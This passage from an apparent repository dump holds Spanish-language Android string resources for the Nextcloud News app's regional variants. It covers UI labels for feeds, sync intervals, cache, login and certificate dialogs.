name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Lista de fuentes</string>\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cachear imágenes offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Solo mediante WiFI</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Mediante WiFi &amp; datos móviles</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no se esté conectado a una WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rSV/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_openInBrowser\">Abrir en el navegador</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_saved\">Imagen guardada</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <string name=\"error_invalid_url\">URL incorrecta</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Omitir la vista detallada y abrir el artículo en el navegador</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidad de Reproducción</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca de</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Distribución de lista de fuente</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Oscuro</string>\n\n    <string name=\"pref_display_browser_cct\">Pestañas-Personalizadas-de-Chrome Integradas</string>\n    <string name=\"pref_display_browser_built_in\">Navegador Integrado</string>\n    <string name=\"pref_display_browser_external\">Navegador Externo</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Adelante</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versión de la Aplicación no es compatible con tu Aplicación de Noticias de Nextcloud. Por favor actualiza la aplicación de noticias y el appframework. </string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <string name=\"login_dialog_text_security_warning\">No estas usando HTTPS, que se recomienda ámpliamente. Un atacante podría interceptar tu tráfico y ganar acceso a algunos datos sensitivos (p. ej. tu contraseña).</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Llevar a cache las imágenes fuera de linea</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Sólo sobre WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre WiFi &amp; Móvil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no esté conectado a WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rUS/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como leído al desplazar</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">¿Aceptar certificados desconocidos?</string>\n    <string name=\"mtm_decision_always\">Siempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificación del certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No se ha seleccionado algún podcast</string>\n    <string name=\"no_chapters_available\">No hay capítulos disponibles</string>\n    <string name=\"dialog_podcast_remove_title\">¿Estás seguro?</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Acerca de</string>\n    <string name=\"pref_license\">Licencia</string>\n    <string name=\"pref_privacy\">Privacidad</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Mostrar</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Lista de fuentes</string>\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Íconos de acción (Vista Detallada)</string>\n\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Obscuro</string>\n\n    <string name=\"pref_display_font_size_d\">Predeterminado</string>\n    <string name=\"content_desc_play\">Reproducir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_forward\">Reenviar</string>\n    <string name=\"content_desc_collapse\">Colapsar</string>\n    <string name=\"content_desc_add_to_favorites\">Agregar a tus favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Eliminar de favoritos</string>\n    <string name=\"content_desc_delete\">Borrar</string>\n    <string name=\"content_desc_download\">Descargar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo salió mal :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">La aplicación de Noticias Web regresó Versión \\\"0\\\". Por favor revisa el siguiente reporte de fallas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_title_security_warning\">Advertencia de seguridad</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronización de datos &amp;</string>\n    <string name=\"pref_title_clearCache\">Limpiar el caché</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cachear imágenes offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamaño máximo del caché</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Solo mediante WiFI</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Mediante WiFi &amp; datos móviles</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Preguntar cuando no se esté conectado a una WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-es-rUY/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronización automática</string>\n    <string name=\"empty_view_content\">Aquí no hay elementos</string>\n    <string name=\"empty_view_content_action\">Jala hacia abajo para actualizar</string>\n    <string name=\"no_wifi_available\">No estás conectado a una WiFi</string>\n    <string name=\"current_version\">Estás usando la Versión %s</string>\n    <string name=\"widget_header\">Noticias de Nextcloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d elemento nuevo disponible</item>\n        <item quantity=\"many\">%d elementos nuevos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos disponibles</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Volver a cargar</string>\n    <string name=\"allUnreadFeeds\">Todos los elementos sin leer</string>\n    <string name=\"starredFeeds\">Elementos marcados</string>\n    <string name=\"title_activity_new_feed\">Agregar una nueva fuente</string>\n\n    <string name=\"menu_update\">Actualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como leídos</string>\n    <string name=\"menu_StartImageCaching\">Descargar imágenes</string>\n    <string name=\"menu_downloadMoreItems\">Descargar más artículos</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado como favorito</string>\n    <string name=\"action_read\">Leer</string>\n    <string name=\"action_playPodacst\">Reproducir Podcast</string>\n    <string name=\"action_Share\">Compartir</string>\n    <string name=\"action_login\">Configuraciones del Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Configuraciones</string>\n    <string name=\"action_sync_settings\">Configuración de Sincronización</string>\n    <string name=\"action_add_new_feed\">Agregar una nueva fuente</string>\n    <string name=\"action_textToSpeech\">Lectura</string>\n    <string name=\"action_search\">Buscar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tienes %d elemento nuevo sin leer</item>\n        <item quantity=\"many\">Tienes %d elmentos nuevos sin leer</item>\n        <item quantity=\"other\">Tienes %d elmentos nuevos sin leer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d elemento nuevo no leído disponible</item>\n        <item quantity=\"many\">%d elementos nuevos no leídos disponibles</item>\n        <item quantity=\"other\">%d elementos nuevos no leídos disponibles</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL de la Fuente</string>\n    <string name=\"action_add_feed\">Agregar fuente</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Descargar Imagen</string>\n    <string name=\"action_img_sharelink\">Compartir Liga de la Imagen</string>\n    <string name=\"action_img_open\">Abrir Imagen en el Navegador</string>\n    <string name=\"action_img_copylink\">Copiar la Liga de la Imagen</string>\n    <string name=\"action_link_share\">Compartir Liga</string>\n    <string name=\"action_link_open\">Abrir la Liga en el Navegador</string>\n    <string name=\"action_link_copy\">Copiar Liga</string>\n    <string name=\"toast_img_notwriteable\">Falla al escribir la Imagen.</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado al portapapeles</string>\n    <string name=\"error_download_failed\">La descarga falló</string>\n    <string name=\"intent_title_share\">Compartir vía</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Eliminar Fuente</string>\n    <string name=\"action_feed_rename\">Renombrar la Fuente</string>\n    <string name=\"feed_remove_button\">Eliminar</string>\n    <string name=\"feed_rename_button\">Renombrar</string>\n    <string name=\"confirm_feed_remove\">¿Realmente deseas eliminar esta Fuente? ¡Esta operación no se puede deshacer!</string>\n    <string name=\"folder_remove_button\">Eliminar</string>\n    <string name=\"folder_rename_button\">Renombrar</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Agregar</string>\n    <string name=\"hint_folder_name\">Nombre de la carpeta</string>\n    <string name=\"pref_title_username\">Nombre de usuario</string>\n    <string name=\"pref_title_password\">Contraseña</string>\n    <string name=\"pref_title_owncloudRootPath\">Dirección raíz de Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar sesión</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este es un campo requerido</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d elemento antiguo descargado</item>\n        <item quantity=\"many\">%d elementos antiguos descargados</item>\n        <item quantity=\"other\">%d elementos antiguos descargados</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No hay más elementos disponibles</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configuraciones</string>\n    <string name=\"cache_is_cleared\">¡Se ha limpiado el caché!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Cirterio para ordenar</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"dialog_clearing_cache\">Limpiando el caché</string>\n    <string name=\"reset_cache_unsaved_changes\">Hay cambios que no han sido sincronizados. ¿Quieres limpiar el caché de cualquier modo?</string>\n    <string name=\"warning\">Advertencia</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar al iniciar</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Mostrar sólo los artículos no leídos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deshabilitar la verificación del hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar con los botones de volumen</string>\n    <string 